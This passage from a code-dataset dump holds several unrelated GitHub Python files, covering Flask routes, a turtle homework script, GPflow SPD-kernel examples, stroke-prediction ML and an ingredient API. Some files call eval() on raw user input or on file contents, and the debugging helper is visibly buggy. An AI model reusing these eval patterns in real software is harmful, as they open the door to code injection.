offset=int(request.args.get('offset', 0)),\n sort_by=request.args.get('sort_by'),\n sort_dir=request.args.get('sort_dir')\n ))\n\n#### Email ####\n\n@app.route('/email_rules', methods=['GET'])\n@auth(['edit_system_settings'])\ndef email_rules():\n return json_response(mail_notification_service.get(\n company_id=session['company_id']\n ))\n\n@app.route('/email_rules', methods=['DELETE'])\n@auth(['edit_system_settings'])\n@parse_args(string_args=['id'])\ndef email_rules_delete(rule):\n mail_notification_service.delete(rule['id'])\n return u'Rule Deleted', 200\n\n@app.route('/email_rules', methods=['POST'])\n@auth(['edit_system_settings'])\n@parse_args(string_args=['object'], json_args=['roles', 'actions'])\ndef email_rules_post(rule):\n mail_notification_service.add(session['company_id'], rule)\n return u'Rule Added', 200\n\n@app.route('/email_rules', methods=['PUT'])\n@auth(['edit_system_settings'])\n@parse_args(int_args=['id'], string_args=['object'], json_args=['roles', 'actions'])\ndef email_rules_put(rule):\n mail_notification_service.update(rule)\n return u'Rule Updated', 200","repo_name":"ianluddy/flock","sub_path":"flock/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":13578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"36208998134","text":"\"\"\"\nBrock Francom\nA02052161\nCS-1400-001\nDouglas Galarus\n1/24/2018\nhw3 - 3-2-25\n\n2.25 (Turtle: draw a rectangle) Write a program that prompts the user to enter\n the center of a rectangle, width, and height, and displays the rectangle, as \n shown in Figure 2.4c in our textbook.\n\n\"\"\"\n\ndef run():\n #get point (x,y), height, width from user\n x = eval(input(\"Enter the x coordinate for the center of the rectangle: \"))\n y = eval(input(\"Enter the y coordinate for the center of the rectangle: \"))\n width = eval(input(\"Enter a width for the rectangle: \"))\n height = eval(input(\"Enter a height for the rectangle: \"))\n \n #calculate turtle start point\n x1 = (x - (width / 2))\n y1 = (y + (height / 2))\n \n #turtle\n import turtle\n \n #go to start\n turtle.penup()\n turtle.goto(x1,y1)\n turtle.pendown()\n \n #draw rectangle\n turtle.forward(width)\n turtle.right(90)\n turtle.forward(height)\n turtle.right(90)\n turtle.forward(width)\n turtle.right(90)\n turtle.forward(height)\n turtle.right(90)\n \n turtle.done()\n turtle.mainloop()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"Brockfrancom/pythonProjects","sub_path":"src/pythonBasics/drawRectangle.py","file_name":"drawRectangle.py","file_ext":"py","file_size_in_byte":1114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74281034599","text":"# Functions to help with the debugging of programs\n\nfrom pygraph.classes.graph import graph\n\ndef graph_from_file(file_path, precinct_list):\n \"\"\"\n :param file_path: path to file (.txt)\n :type file_path: str\n\n :param precinct_list: list of precincts to attach to nodes, ordered with nodes\n :type precinct_list: list of hacking_the_election.utils.precinct.Precinct objects\n\n :return: graph\n :rtype: pygraph.classes.graph\n \"\"\"\n return_graph = graph()\n with open(file_path, \"rb\") as f:\n file_graph = f.read()\n nodes = eval((file_graph.split(']')[0] + ']').strip)\n edges = eval((file_graph.split(']')[1] + ']').strip)\n for node in nodes:\n return_graph.add_node(node, attrs=[precinct_list[node]])\n for edge in edges:\n return_graph.add_edge(edge)\n return return_graph\n","repo_name":"hacking-the-election/gerrymandering","sub_path":"python/hacking_the_election/utils/debugging.py","file_name":"debugging.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"18"} +{"seq_id":"19657379788","text":"from openpyxl import Workbook\nfrom rest_framework.response import Response\nfrom rest_framework.pagination import PageNumberPagination\n\n\ndef writeJsonToExcel(data, output_file):\n # Parse the JSON data\n # data = json.loads(json_data)\n\n # Create a new workbook and select the active worksheet\n wb = Workbook()\n ws = wb.active\n\n # Write the headers to the worksheet\n headers = list(data[0].keys())\n for i, header in enumerate(headers, start=1):\n ws.cell(row=1, column=i, value=header)\n\n # Write the data to the worksheet\n for row, record in enumerate(data, start=2):\n for col, value in enumerate(record.values(), start=1):\n ws.cell(row=row, column=col, value=value)\n\n # Save the workbook to the specified output file\n wb.save(output_file)\n\n\ndef validateFilters(sf):\n if sf['category'] == 'anno_pub' and sf['option'] not in ['greater_than', 'less_than', 'range', 'exact']:\n return \"Las opciones para la regla 'Año de publicación' deben ser 'antes de', 'después de' o 'entre'.\"\n if sf['category'] != 'anno_pub' and sf['option'] in ['greater_than', 'less_than', 'range']:\n return \"Las opciones 'antes de', 'después de' o 'entre' solo se permiten para la categoría 'Año de publicación.'\"\n\n\nclass customPagination(PageNumberPagination):\n page_size_query_param = 'items'\n max_page_size = 100\n\n def get_paginated_response(self, data):\n return Response({\n 'count': self.page.paginator.count,\n 'current_page': self.page.number,\n 'num_pages': self.page.paginator.num_pages,\n 'next': self.get_next_link(),\n 'previous': self.get_previous_link(),\n 'results': data\n })\n","repo_name":"ale24dev/bibcujae-backend","sub_path":"bibcujae/book/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"37982620117","text":"import numpy as np\nimport gpflow\nfrom scipy.io import loadmat\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import axes3d, Axes3D\nfrom BoManifolds.kernel_utils.kernels_spd_tf import SpdSteinGaussianKernel, SpdAffineInvariantGaussianKernel, SpdFrobeniusGaussianKernel, SpdLogEuclideanGaussianKernel\nfrom BoManifolds.Riemannian_utils.SPD_utils import expmap, symmetric_matrix_to_vector_mandel, vector_to_symmetric_matrix_mandel\n\nfrom BoManifolds.plot_utils.manifold_plots import plot_spd_cone\n\nplt.rcParams['text.usetex'] = True # use Latex font for plots\nplt.rcParams['text.latex.preamble'] = [r'\\usepackage{bm}']\n\"\"\"\nThis example shows the use of different kernels for the SPD manifold, used for Gaussian process regression.\nArtificial data are created from the time t and positions x of C-shape trajectory. The input data corresponds to the \nsymmetric matrices xx' projected to the SPD manifold and the output data correspond to the time. Only a part of the \ntrajectory is used to form the training data, while the whole trajectory is used to form the test data. \nGaussian processes are trained on the training data and used to predict the output of the test data.\nThe kernels used are:\n - Stein divergence Gaussian kernel (geometry-aware)\n - Affine-Invariant Gaussian Kernel (geometry-aware)\n - Frobenius Gaussian Kernel \n - Log-Euclidean kernel (this kernel is sometimes negative definite, likely due to round errors)\nThis example works with GPflow version = 0.5 (used by GPflowOpt).\n\nAuthors: Noemie Jaquier and Leonel Rozo, 2019\nLicense: MIT\nContact: noemie.jaquier@idiap.ch, leonel.rozo@de.bosch.com\n\"\"\"\n\n\ndef plot_training_test_data_spd_cone(training_spd_data, test_spd_data, figure_handle):\n ax = Axes3D(figure_handle)\n\n # Make the panes transparent\n ax.xaxis.set_pane_color((1.0, 1.0, 1.0, 0.0))\n ax.yaxis.set_pane_color((1.0, 1.0, 1.0, 0.0))\n ax.zaxis.set_pane_color((1.0, 1.0, 1.0, 0.0))\n\n # Make the grid lines transparent\n ax.xaxis._axinfo[\"grid\"]['color'] = (1, 1, 1, 0)\n ax.yaxis._axinfo[\"grid\"]['color'] = (1, 1, 1, 0)\n ax.zaxis._axinfo[\"grid\"]['color'] = (1, 1, 1, 0)\n\n # Remove axis\n ax._axis3don = False\n\n # Initial view\n ax.view_init(elev=10, azim=-20.) # (default: elev=30, azim=-60)\n # ax.view_init(elev=10, azim=50.) # (default: elev=30, azim=-60)\n\n # Plot SPD cone\n plot_spd_cone(ax, r=2.5, lim_fact=0.8)\n\n # Plot testing data on the manifold\n plt.plot(test_spd_data[0], test_spd_data[1], test_spd_data[2] / np.sqrt(2), color='b', marker='.', linewidth=0.,\n markersize=9.)\n\n # Plot training data on the manifold\n plt.plot(training_spd_data[0], training_spd_data[1], training_spd_data[2] / np.sqrt(2), color='k', marker='.',\n linewidth=0., markersize=9.)\n\n plt.title(r'Input data', size=25)\n\n\ndef plot_gaussian_process(true_output, mean, variance, posterior_samples, plot_title):\n number_data = true_output.shape[0]\n t = np.array(range(0, number_data))\n plt.figure(figsize=(12, 6))\n plt.plot(t, true_output, 'kx', mew=2)\n plt.plot(t, mean, 'C0', lw=2)\n plt.fill_between(t, mean - 1.96 * np.sqrt(variance), mean + 1.96 * np.sqrt(variance), color='C0', alpha=0.2)\n\n for s in range(nb_samples_post):\n plt.plot(t, posterior_samples[s], 'C0', linewidth=0.5)\n\n plt.title(plot_title, size=25)\n\n\nif __name__ == \"__main__\":\n # Load data from 2D letters\n nb_samples = 1\n\n data_demos = loadmat('../../../data/2Dletters/C.mat')\n\n data_demos = data_demos['demos'][0]\n demos = [data_demos[i]['pos'][0][0] for i in range(data_demos.shape[0])]\n\n nb_data_init = demos[0].shape[1]\n dt = 1.\n\n time = np.hstack([np.arange(0, nb_data_init) * dt] * data_demos.shape[0])\n demos_np = np.hstack(demos)\n\n # Euclidean vector data\n data_eucl = np.vstack((time, demos_np))\n data_eucl = data_eucl[:, :nb_data_init * nb_samples]\n\n # Create artificial SPD matrices from demonstrations and store them in Mandel notation (along with time)\n data_spd_mandel = [symmetric_matrix_to_vector_mandel(expmap(0.01 * np.dot(data_eucl[1:, n][:, None], data_eucl[1:, n][None]),\n np.eye(2)))[:, None] for n in range(data_eucl.shape[1])]\n data_spd_mandel = np.vstack((data_eucl[0], np.concatenate(data_spd_mandel, axis=1)))\n\n # Training data\n data = data_spd_mandel[:, ::2]\n # Removing data to show GP uncertainty\n # id_to_remove = np.hstack((np.arange(12, 27), np.arange(34, 38)))\n # id_to_remove = np.hstack((np.arange(24, 54), np.arange(68, 76)))\n id_to_remove = np.hstack((np.arange(24, 37), np.arange(68, 76)))\n # id_to_remove = np.hstack((np.arange(12, 24), np.arange(76, 84)))\n data = np.delete(data, id_to_remove, axis=1)\n nb_data = data.shape[1]\n dim = 2\n dim_vec = 3\n\n # Training data in SPD form\n y = data[0][:, None]\n x_man = data[1:]\n\n x_man_mat = np.zeros((nb_data, dim, dim))\n for n in range(nb_data):\n x_man_mat[n] = vector_to_symmetric_matrix_mandel(x_man[:, n])\n\n # New output (test) vector\n y_test = data_spd_mandel[0, ::2][:, None]\n nb_data_test = y_test.shape[0]\n\n # Test data in SPD form\n x_man_test = data_spd_mandel[1:, ::2]\n x_man_mat_test = np.zeros((nb_data_test, dim, dim))\n for n in range(nb_data_test):\n x_man_mat_test[n] = vector_to_symmetric_matrix_mandel(x_man_test[:, n])\n\n # Plot input data - 3D figure\n fig = plt.figure(figsize=(5, 5))\n plot_training_test_data_spd_cone(x_man, x_man_test, fig)\n\n # ### Stein kernel\n # Define the kernel\n k_stein = SpdSteinGaussianKernel(input_dim=dim_vec, active_dims=range(dim_vec), beta=1.0, variance=1.)\n # Kernel computation\n K1 = k_stein.compute_K_symm(x_man.T)\n K12 = k_stein.compute_K(x_man.T, x_man_test.T)\n K2 = k_stein.compute_K_symm(x_man_test.T)\n # GPR model\n m_stein = gpflow.gpr.GPR(x_man.T, y, kern=k_stein, mean_function=None)\n # Optimization of the model parameters\n # First check discrete part of beta space\n log_marg_lik = []\n beta_list = []\n for j in range(1, int(2 * m_stein.kern.low_lim_continuous_param_space + 1)):\n beta = j / 2.\n beta_list.append(beta)\n m_stein.kern.update_beta(beta)\n log_marg_lik.append(m_stein.compute_log_likelihood())\n # Then optimize for the continous part\n m_stein.kern.update_beta(1.)\n m_stein.optimize()\n # List of parameters and log marginal likelihood\n beta_list.append(m_stein.kern.get_beta())\n log_marg_lik.append(m_stein.compute_log_likelihood())\n # Compare log marginal likelihoods and choose beta that maximize it\n beta_opt = beta_list[log_marg_lik.index(max(log_marg_lik))]\n m_stein.kern.update_beta(beta_opt)\n # Compute posterior samples\n # Does not always work due to Cholesky decomposition used in gpflow\n nb_samples_post = 10\n posterior_samples_stein = m_stein.predict_f_samples(x_man_test.T, nb_samples_post)\n # Prediction\n mean_stein, cov_ai = m_stein.predict_f_full_cov(x_man_test.T)\n var_stein = np.diag(cov_ai[:, :, 0])\n # Plot\n plot_gaussian_process(y_test, mean_stein[:, 0], var_stein, posterior_samples_stein, r'Stein divergence kernel')\n\n # ### Affine invariant kernel\n # Define the kernel\n k_ai = SpdAffineInvariantGaussianKernel(input_dim=dim_vec, active_dims=range(dim_vec), beta=1.0, variance=1., beta_min=0.6)\n # Kernel computation\n K1 = k_ai.compute_K_symm(x_man.T)\n K12 = k_ai.compute_K(x_man.T, x_man_test.T)\n K2 = k_ai.compute_K_symm(x_man_test.T)\n # GPR model\n m_ai = gpflow.gpr.GPR(x_man.T, y, kern=k_ai, mean_function=None)\n # Optimization of the model parameters\n m_ai.optimize()\n # Parameters and log marginal likelihood\n log_marg_lik = m_ai.compute_log_likelihood()\n beta = m_ai.kern.get_beta()\n # Compute posterior samples\n # Does not always work due to Cholesky decomposition used in gpflow\n nb_samples_post = 10\n posterior_samples_ai = m_ai.predict_f_samples(x_man_test.T, nb_samples_post)\n # Prediction\n mean_ai, cov_ai = m_ai.predict_f_full_cov(x_man_test.T)\n var_ai = np.diag(cov_ai[:, :, 0])\n # Plot\n plot_gaussian_process(y_test, mean_ai[:, 0], var_ai, posterior_samples_ai, r'Affine-invariant kernel')\n\n # ### Frobenius kernel\n # Define the kernel\n k_frob = SpdFrobeniusGaussianKernel(input_dim=dim_vec, active_dims=range(dim_vec), beta=1.0, variance=1.)\n # Kernel computation\n K1 = k_frob.compute_K_symm(x_man.T)\n K12 = k_frob.compute_K(x_man.T, x_man_test.T)\n K2 = k_frob.compute_K_symm(x_man_test.T)\n # GPR model\n m_frob = gpflow.gpr.GPR(x_man.T, y, kern=k_frob, mean_function=None)\n # Optimization of the model parameters\n m_frob.optimize()\n # Log marginal likelihood\n log_marg_lik = m_frob.compute_log_likelihood()\n # Compute posterior samples\n # Does not always work due to Cholesky decomposition used in gpflow\n nb_samples_post = 10\n posterior_samples_frob = m_frob.predict_f_samples(x_man_test.T, nb_samples_post)\n # Prediction\n mean_frob, cov_frob = m_frob.predict_f_full_cov(x_man_test.T)\n var_frob = np.diag(cov_frob[:, :, 0])\n # Plot\n plot_gaussian_process(y_test, mean_frob[:, 0], var_frob, posterior_samples_frob, r'Frobenius kernel')\n\n # # ### Log-Euclidean kernel\n # # Define the kernel\n # k_logE = LogEuclKern(input_dim=dim_vec, active_dims=range(dim_vec), beta=1.0, variance=1.)\n # # Kernel computation\n # K1 = k_logE.compute_K_symm(x_man.T)\n # K12 = k_logE.compute_K(x_man.T, x_man_test.T)\n # K2 = k_logE.compute_K_symm(x_man_test.T)\n # # GPR model\n # m_logE = gpflow.gpr.GPR(x_man.T, y, kern=k_logE, mean_function=None)\n # # Optimization of the model parameters\n # m_logE.optimize()\n # # Log marginal likelihood\n # log_marg_lik = m_logE.compute_log_likelihood()\n # # Compute posterior samples\n # # Does not always work due to Cholesky decomposition used in gpflow\n # nb_samples_post = 10\n # posterior_samples_logE = m_logE.predict_f_samples(x_man_test.T, nb_samples_post)\n # # Prediction\n # mean_logE, cov_logE = m_logE.predict_f_full_cov(x_man_test.T)\n # var_logE = np.diag(cov_logE[:, :, 0])\n # # Plot\n # plot_gaussian_process(y_test, mean_logE[:, 0], var_logE, posterior_samples_logE, 'Log-Euclidean kernel')\n\n plt.show()\n","repo_name":"NoemieJaquier/GaBOflow","sub_path":"examples/kernels/spd/spd_kernels.py","file_name":"spd_kernels.py","file_ext":"py","file_size_in_byte":10358,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"18"} +{"seq_id":"74920577318","text":"import time\n\nOPERATION_DELAY = 0.15 # 操作延时\n\nADD_POS = (1405,480) # 默认加价键位置\nSUBMIT_POS = (1151,742) # 默认确认键位置\nBID_POS = (1406,596) # 默认出价键位置\nINPUT_POS = (1280,648) # 默认输入验证码区域\n\n\nSUBMIT_TIME = \"2022-4-18 21:44:10\"\nSUBMIT_TIMESTAMP = int(time.mktime(time.strptime(SUBMIT_TIME, \"%Y-%m-%d %H:%M:%S\")))\nprint(SUBMIT_TIMESTAMP-time.time())","repo_name":"JackCobra11/HuPaiSubmitHelper","sub_path":"Config.py","file_name":"Config.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"18"} +{"seq_id":"13147910756","text":"\"\"\"\r\nAccording to the World Health Organization (WHO) stroke is the 2nd leading cause of death globally, responsible for approximately 11% of total deaths.\r\nThis dataset is used to predict whether a patient is likely to get stroke based on the input parameters like gender, age, various diseases, and smoking status. Each row in the data provides relavant information about the patient.\r\n\r\n1) id: unique identifier\r\n2) gender: \"Male\", \"Female\" or \"Other\"\r\n3) age: age of the patient\r\n4) hypertension: 0 if the patient doesn't have hypertension, 1 if the patient has hypertension\r\n5) heart_disease: 0 if the patient doesn't have any heart diseases, 1 if the patient has a heart disease\r\n6) ever_married: \"No\" or \"Yes\"\r\n7) work_type: \"children\", \"Govt_jov\", \"Never_worked\", \"Private\" or \"Self-employed\"\r\n8) Residence_type: \"Rural\" or \"Urban\"\r\n9) avg_glucose_level: average glucose level in blood\r\n10) bmi: body mass index\r\n11) smoking_status: \"formerly smoked\", \"never smoked\", \"smokes\" or \"Unknown\"*\r\n12) stroke: 1 if the patient had a stroke or 0 if not\r\n*Note: \"Unknown\" in smoking_status means that the information is unavailable for this patient\r\n\r\nA stroke is a medical emergency, and prompt treatment is crucial. Early action can reduce brain damage and other complications.\r\n\r\n* Is there an explanation for the stroke?\r\n* Are the elderly and smokers more likely to have a stroke?\r\n* Or is smoking not a factor in having a stroke?\r\n* Are those with high workload and stress more likely to have a stroke?\r\n\r\nLet's see together, is it true?\r\n\r\n\"\"\"\r\n\r\n# First of all, import packages\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\nimport sklearn\r\nimport imblearn as imb\r\n\r\nfrom sklearn.metrics import confusion_matrix, classification_report, f1_score\r\nfrom sklearn.model_selection import StratifiedKFold, train_test_split, cross_val_score\r\nfrom sklearn.preprocessing import OrdinalEncoder, OneHotEncoder, LabelEncoder, \\\r\n RobustScaler, FunctionTransformer\r\nfrom sklearn.impute import SimpleImputer\r\nfrom sklearn.pipeline import Pipeline\r\nfrom sklearn.compose import ColumnTransformer\r\nfrom sklearn.svm import SVC as Model\r\nfrom imblearn.pipeline import Pipeline as imbalancedPipeline\r\nfrom imblearn.over_sampling import SMOTE\r\n\r\nimport warnings\r\nwarnings.filterwarnings('ignore')\r\n\r\npd.set_option('display.max_columns', None)\r\npd.set_option('display.float_format', lambda x: '%.3f' % x)\r\npd.set_option('display.width', 500)\r\n\r\n# Read Data:\r\ndf = pd.read_csv(\"healthcare-dataset-stroke-data.csv\")\r\ndf.head()\r\n\r\n# The id column is not relevant\r\ndf.drop(columns=['id'], inplace=True)\r\n\r\n\r\n# Target variable analysis:\r\ndef cat_summary(dataframe, col_name, plot=False):\r\n print(pd.DataFrame({col_name: dataframe[col_name].value_counts(),\r\n 'Ratio': round(100 * (dataframe[col_name].value_counts()) / len(dataframe), 2)}))\r\n\r\n if plot:\r\n sns.countplot(x=col_name, data=dataframe)\r\n plt.show()\r\n\r\ncat_summary(df, 'stroke', plot=True)\r\n# stroke Ratio\r\n# 0 4861 95.130\r\n# 1 249 4.870\r\n# Imbalanced classification\r\n\r\n# Data Overview:\r\ndef check_data(dataframe,head=5):\r\n print(20*\"-\" + \"Information\".center(20) + 20*\"-\")\r\n print(dataframe.info())\r\n print(20*\"-\" + \"Data Shape\".center(20) + 20*\"-\")\r\n print(dataframe.shape)\r\n print(\"\\n\" + 20*\"-\" + \"The First 5 Data\".center(20) + 20*\"-\")\r\n print(dataframe.head())\r\n print(\"\\n\" + 20 * \"-\" + \"The Last 5 Data\".center(20) + 20 * \"-\")\r\n print(dataframe.tail())\r\n print(\"\\n\" + 20 * \"-\" + \"Missing Values\".center(20) + 20 * \"-\")\r\n print(dataframe.isnull().sum())\r\n print(\"\\n\" + 40 * \"-\" + \"Describe the Data\".center(40) + 40 * \"-\")\r\n print(dataframe.describe().T)\r\ncheck_data(df)\r\n\r\n\r\n# visualization of categorical variables\r\nfig,axes = plt.subplots(4,2,figsize = (16,16))\r\nsns.set_style('darkgrid')\r\nfig.suptitle(\"Count plot for various categorical features\")\r\n\r\nsns.countplot(ax=axes[0,0],data=df,x='gender')\r\nsns.countplot(ax=axes[0,1],data=df,x='hypertension')\r\nsns.countplot(ax=axes[1,0],data=df,x='heart_disease')\r\nsns.countplot(ax=axes[1,1],data=df,x='ever_married')\r\nsns.countplot(ax=axes[2,0],data=df,x='work_type')\r\nsns.countplot(ax=axes[2,1],data=df,x='Residence_type')\r\nsns.countplot(ax=axes[3,0],data=df,x='smoking_status')\r\nsns.countplot(ax=axes[3,1],data=df,x='stroke')\r\nplt.show()\r\n\r\n\r\n# Categorical and Numerical Variables:\r\ndef grab_col_names(dataframe, cat_th=4, car_th=20):\r\n # cat_cols, cat_but_car\r\n cat_cols = [col for col in dataframe.columns if dataframe[col].dtypes == \"O\"]\r\n\r\n num_but_cat = [col for col in dataframe.columns if dataframe[col].nunique() < cat_th and\r\n dataframe[col].dtypes != \"O\"]\r\n cat_but_car = [col for col in dataframe.columns if dataframe[col].nunique() > car_th and\r\n dataframe[col].dtypes == \"O\"]\r\n cat_cols = cat_cols + num_but_cat\r\n cat_cols = [col for col in cat_cols if col not in cat_but_car]\r\n\r\n # num_cols\r\n num_cols = [col for col in dataframe.columns if dataframe[col].dtypes != \"O\"]\r\n num_cols = [col for col in num_cols if col not in num_but_cat]\r\n\r\n print(f\"Observations: {dataframe.shape[0]}\")\r\n print(f\"Variables: {dataframe.shape[1]}\")\r\n print(f'cat_cols: {len(cat_cols)}')\r\n print(f'num_cols: {len(num_cols)}')\r\n print(f'cat_but_car: {len(cat_but_car)}')\r\n print(f'num_but_cat: {len(num_but_cat)}')\r\n return cat_cols, num_cols, cat_but_car\r\n\r\ncat_cols, num_cols, cat_but_car = grab_col_names(df)\r\nprint(f'Categorical Variable: {cat_cols}') # ['gender', 'ever_married', 'work_type', 'Residence_type', 'smoking_status', 'hypertension', 'heart_disease', 'stroke']\r\nprint(f'Numerical Variable: {num_cols}') # ['age', 'avg_glucose_level', 'bmi']\r\n\r\nonly_2_unique = ['ever_married', 'Residence_type'] # object variables\r\nno_op_cols = ['hypertension', 'heart_disease']\r\nnew_cat_cols = ['gender', 'work_type', 'smoking_status']\r\nnew_num_cols = [\"age\", \"avg_glucose_level\", \"bmi\"]\r\n\r\n\r\n# Missing value handle and Standadization:\r\nnumeric_transformer = Pipeline(steps=[\r\n ('imputer', SimpleImputer(strategy='mean')),\r\n ('scaler', RobustScaler())])\r\n\r\n# OrdinalEncoder:\r\nbinary_transformer = Pipeline(steps=[\r\n ('binary', OrdinalEncoder(handle_unknown='use_encoded_value', unknown_value=-1))])\r\n\r\n# OneHotEncoder:\r\nnon_binary_transformer = Pipeline(steps=[\r\n ('non_binary', OneHotEncoder(handle_unknown='ignore'))])\r\n\r\n# Columns that will not be processed:\r\nno_op_transformer = Pipeline(steps=[\r\n ('no_op', FunctionTransformer(lambda x: x))])\r\n\r\n\r\npreprocessing_pipeline = ColumnTransformer(transformers=\r\n[('numeric', numeric_transformer, new_num_cols),\r\n('binary', binary_transformer, only_2_unique),\r\n('non_binary', non_binary_transformer, new_cat_cols),\r\n('no_op', no_op_transformer, no_op_cols)])\r\n\r\n\r\n# SMOTE:\r\nmodel_pipeline = imbalancedPipeline(steps=[\r\n ('preprocessing', preprocessing_pipeline),\r\n ('smote', SMOTE()),\r\n ('model', Model())])\r\n\r\nfeatures = df.drop('stroke', axis=1)\r\ntarget = df['stroke']\r\n\r\n# Train-Test split:\r\nX_train, X_test, y_train, y_test = train_test_split(features, target, test_size=0.2, random_state=42)\r\n\r\n\r\n# Cross-validation:\r\nskf = StratifiedKFold(n_splits=5, shuffle=True, random_state=42)\r\n\r\ncv_scores = cross_val_score(model_pipeline, X_train, y_train, cv=skf,\r\n scoring=\"f1_macro\")\r\n\r\n\r\nfor i, score in enumerate(cv_scores):\r\n print(f\"Fold {i + 1} score: {score * 100:.2f}%\")\r\n# Fold 1 score: 55.53%\r\n# Fold 2 score: 50.55%\r\n# Fold 3 score: 52.39%\r\n# Fold 4 score: 53.76%\r\n# Fold 5 score: 52.47%\r\n\r\nprint(f\"Ortalama F1-Skoru : {cv_scores.mean() * 100:.2f}%\")\r\nprint(f\"Standart Sapma: {cv_scores.std() * 100:.2f}%\")\r\n# Ortalama F1-Skoru : 52.94%\r\n# Standart Sapma: 1.65%\r\n\r\n\r\nmodel_pipeline.fit(X_train, y_train)\r\ny_pred = model_pipeline.predict(X_test)\r\n\r\ndef plot_confusion_matrix(confusion_matrix):\r\n plt.figure(figsize = (12, 8))\r\n sns.heatmap(confusion_matrix,\r\n annot=True,\r\n fmt='d',\r\n cmap='Blues',\r\n linewidths=10,\r\n annot_kws={'size': 20}, cbar=False)\r\n\r\n plt.title('Confusion Matrix', size=18)\r\n plt.xticks([0.5, 1.5], ['Predicted Normal', 'Predicted Stroke'], size=14, rotation=25)\r\n plt.yticks([0.5, 1.5], ['Actual Normal', 'Actual Stroke'], size=14, rotation=25)\r\n plt.xlabel('Predicted Label', size=14)\r\n plt.ylabel('Actual Label', size=14)\r\n plt.show()\r\nplot_confusion_matrix(confusion_matrix(y_test, y_pred))\r\n\r\n\r\nprint(classification_report(y_test, y_pred))\r\n# precision recall f1-score support\r\n# 0 0.96 0.82 0.88 960\r\n# 1 0.14 0.44 0.21 62\r\n# accuracy 0.80 1022\r\n# macro avg 0.55 0.63 0.55 1022\r\n# weighted avg 0.91 0.80 0.84 1022\r\n","repo_name":"NerminBab/Prediction_with_ML","sub_path":"ML_Stroke_Prediction.py","file_name":"ML_Stroke_Prediction.py","file_ext":"py","file_size_in_byte":8964,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"18"} +{"seq_id":"2620146431","text":"import os\nfrom pathlib import Path\nimport sqlite3\nimport sqlalchemy\nfrom sqlalchemy import or_, and_, intersect\nfrom app import app\nfrom app import db\nfrom app.models import Dish, Ingredient, DishIngredients, IngredientCategory\nfrom flask import render_template, redirect, request, session, abort, send_from_directory, jsonify\nfrom datetime import datetime, timedelta, timezone\nimport json\n\n\nimport string\n\n# returns all food categories\n@app.route('/ingredient_categories')\ndef get_categories():\n categories = IngredientCategory.query.all()\n json_categories = {}\n json_categories['categories'] = []\n for c in categories:\n json_categories['categories'].append({ 'id': c.id, 'name': c.name })\n \n return json.dumps(json_categories)\n\n# returns all ingredients\n@app.route('/ingredients')\ndef get_ingredients():\n ingredients = Ingredient.query.all()\n json_ingr = {}\n json_ingr['ingredients'] = []\n for i in ingredients:\n json_ingr['ingredients'].append({ 'id': i.id, 'name': i.name }) \n \n return json.dumps(json_ingr)\n\n# returns ingredients from specified category\n@app.route('/ingredients/')\ndef get_categorys_ingredients(category):\n cat_id = (IngredientCategory.query.filter_by(name=category).first()).id\n ingredients = Ingredient.query.filter_by(category=cat_id).all()\n\n json_ingr = {}\n json_ingr['ingredients'] = []\n\n for i in ingredients:\n json_ingr['ingredients'].append({ 'id': i.id, 'name': i.name })\n \n response = jsonify(json_ingr)\n response.headers.add('Access-Control-Allow-Origin', '*')\n\n return response\n\n# returns dishes that contain user's ingredients \n@app.route('/dishes', methods=['POST'])\ndef get_dishes():\n\n users_ingredients_ids = set() # ids of user's ingredients\n users_ingredients_names = set() # ids of user's ingredients\n json_user_ingr = request.get_json()\n dishes_from_ingredients = {}\n dishes_from_ingredients['dishes'] = []\n\n # getting ingredients from db specified by user\n for i in json_user_ingr:\n if not json_user_ingr[i] == '...':\n ingredient = (Ingredient.query.filter_by(name=json_user_ingr[i]).first())\n # print(ingredient)\n users_ingredients_ids.add(ingredient.id)\n users_ingredients_names.add(ingredient.name)\n\n # print(users_ingredients)\n\n possible_dishes_ids = set() # possible dishes user can make from the ingredients\n dishes = set() # stores final set of dishes\n\n # getting possible dishes' ids\n for i in users_ingredients_ids:\n # getting all dishes that contain ingredient i in form tuples (dish_id, ingredient_id)\n res = db.session.query(DishIngredients).filter_by(ingredient_id=i).all()\n # print(res)\n \n for j in res:\n possible_dishes_ids.add(j[0])\n\n # checking what ingredients user is missing\n for pd in possible_dishes_ids:\n\n # SELECT * FROM DishIngredients WHERE dish_id=pd[0]; -- pd[0] is id\n res = db.session.query(DishIngredients).filter_by(dish_id=pd).all()\n ingredients_needed = set()\n\n # getting ingredients' ids needed for specific dish\n for i in res:\n ingredients_needed.add(i[1])\n\n # checking if ingredients_needed is subset of users_ingredients\n dish = {}\n dish['name'] = ((db.session.query(Dish).filter_by(id=pd).first()).name).lower()\n dish['missing_ingredients_ids'] = list(ingredients_needed.difference(users_ingredients_ids))\n dish['missing_ingredients_names'] = []\n\n for mi in dish['missing_ingredients_ids']:\n dish['missing_ingredients_names'].append(((db.session.query(Ingredient).filter_by(id=mi).first()).name).lower())\n\n dishes_from_ingredients['dishes'].append(dish)\n\n return jsonify(dishes_from_ingredients)\n\n# getting all available dishes in db along with ingredients needed for those dishes\n@app.route('/all_dishes')\ndef get_all_dishes():\n dishes = {}\n res = db.session.query(Dish).all() \n for d in res:\n dishes[d.name] = []\n for i in d.ingredients:\n dishes[d.name].append(i.name)\n \n\n return jsonify(dishes)\n\n\n# adding new ingredient\n@app.route('/add_ingredient', methods=['POST'])\ndef add_ingredient():\n\n try:\n category_id = (db.session.query(IngredientCategory).filter_by(name=request.form.get('category')).first()).id\n ingredient = Ingredient(name=request.form.get('name'), category=category_id)\n db.session.add(ingredient)\n db.session.commit()\n\n return str('You added: ' + request.form.get('name')) \n\n except:\n return 'Invalid ingredient\\'s data'\n\n# delete 